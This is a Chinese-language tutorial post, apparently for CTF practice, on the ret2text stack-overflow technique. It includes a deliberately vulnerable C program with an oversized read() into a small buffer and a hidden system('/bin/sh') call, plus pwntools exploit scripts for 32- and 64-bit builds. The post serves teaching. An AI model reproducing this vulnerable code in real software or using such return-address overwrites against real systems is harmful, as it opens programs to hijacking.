ret2text

发布时间 2023-09-07 19:48:27作者: c3n1g

0x01 介绍

ret2text的首要条件是程序内部有现成可利用的代码,比如有执行system("/bin/sh")或者是打开flag文件并打印出来的代码片段(不一定非要是函数,有片段就行)。它的利用过程就是覆盖存在溢出漏洞的函数的函数返回地址,将其填为可利用代码片段。

image

以一个最简单的例子来说

#include<unistd.h>
#include<stdlib.h>

void hint() {
    system("/bin/sh");
}

void vuln() {
    char buf[0x10];
    write(1, "input: ", 7);
    read(0, buf, 0x50);
}

void main() {
    vuln();
}

x32

将代码编译为32位程序

gcc ret2text.c -o ret2text_x32 -m32 -no-pie -fno-stack-protector

整个程序逻辑很简单,在vuln中存在栈溢出,通过IDA可以看出buf起始位置距离函数返回地址直接的偏移量为28

image

同时可以找到可利用片段地址为0x8049196

image

当然这个地址也是hint函数的起始地址,我们也可以设置可利用代码地址为0x80491AA,从这个地址开始的代码片段做了两个操作:将"/bin/sh"字符串压入栈中作为参数传递给system函数,然后调用system函数,也就是执行了system("/bin/sh")
所以可以得到最终Exploit为

from pwn import*
o = process("./ret2text_x32")
payload = b'a'*28    # 填充buf和函数返回地址之间的偏移量
payload += p32(0x8049196)    # 覆盖函数返回地址为可利用代码片段
# payload += p32(0x80491AA)    和p32(0x8049196)一样的效果
o.sendline(payload)
o.interactive()

image

x64

将C语言代码编译为64位再来试试

gcc ret2text.c -o ret2text_x64 -no-pie -fno-stack-protector

本质上和32位差不多,只不过栈单元的字节数变了。从IDA可以看出buf起始地址和函数返回地址之间的偏移量为24

image

可利用代码片段地址为0x401176

image

也可以将可利用代码地址设置为0x40117e,原理和32位是一样的。可以得到最终的Expoit代码为

from pwn import*
o = process("./ret2text_x64")
payload = b'a'*24    # 填充buf和函数返回地址之间的偏移量
payload += p64(0x401176)    # 覆盖函数返回地址为可利用代码片段
# payload += p64(0x40117e)    和p64(0x401176)一样的效果
o.sendline(payload)
o.interactive()

如果Exploit执行没有得到shell,有极大可能是应为栈没对齐导致system执行失败,解决方法是在函数返回地址填入ret指令的地址,将可利用代码片段地址填在函数返回地址的下一个栈单元。

image

可以从IDA中找到ret指令的地址为0x40118f

image

Exploit代码为

from pwn import*
o = process("./ret2text_x64")
payload = b'a'*24    # 填充buf和函数返回地址之间的偏移量
payload += p64(0x40118F)    # 将ret指令地址填入函数返回地址
payload += p64(0x401176)    # 可利用代码片段
# payload += p64(0x40117e)    和p64(0x401176)一样的效果
o.sendline(payload)
o.interactive()

image